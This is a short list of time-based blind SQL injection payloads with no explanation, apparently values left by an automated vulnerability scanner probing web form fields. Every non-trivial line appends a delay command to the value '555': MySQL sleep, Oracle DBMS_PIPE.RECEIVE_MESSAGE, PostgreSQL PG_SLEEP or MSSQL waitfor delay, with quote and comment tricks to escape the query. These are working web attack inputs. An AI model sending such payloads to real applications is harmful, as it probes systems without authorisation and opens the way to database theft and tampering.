(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

555

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555bxEIzOXN' OR 263=(SELECT 263 FROM PG_SLEEP(15))--

555-1) OR 861=(SELECT 861 FROM PG_SLEEP(15))--

555-1 OR 244=(SELECT 244 FROM PG_SLEEP(15))--

555-1 waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z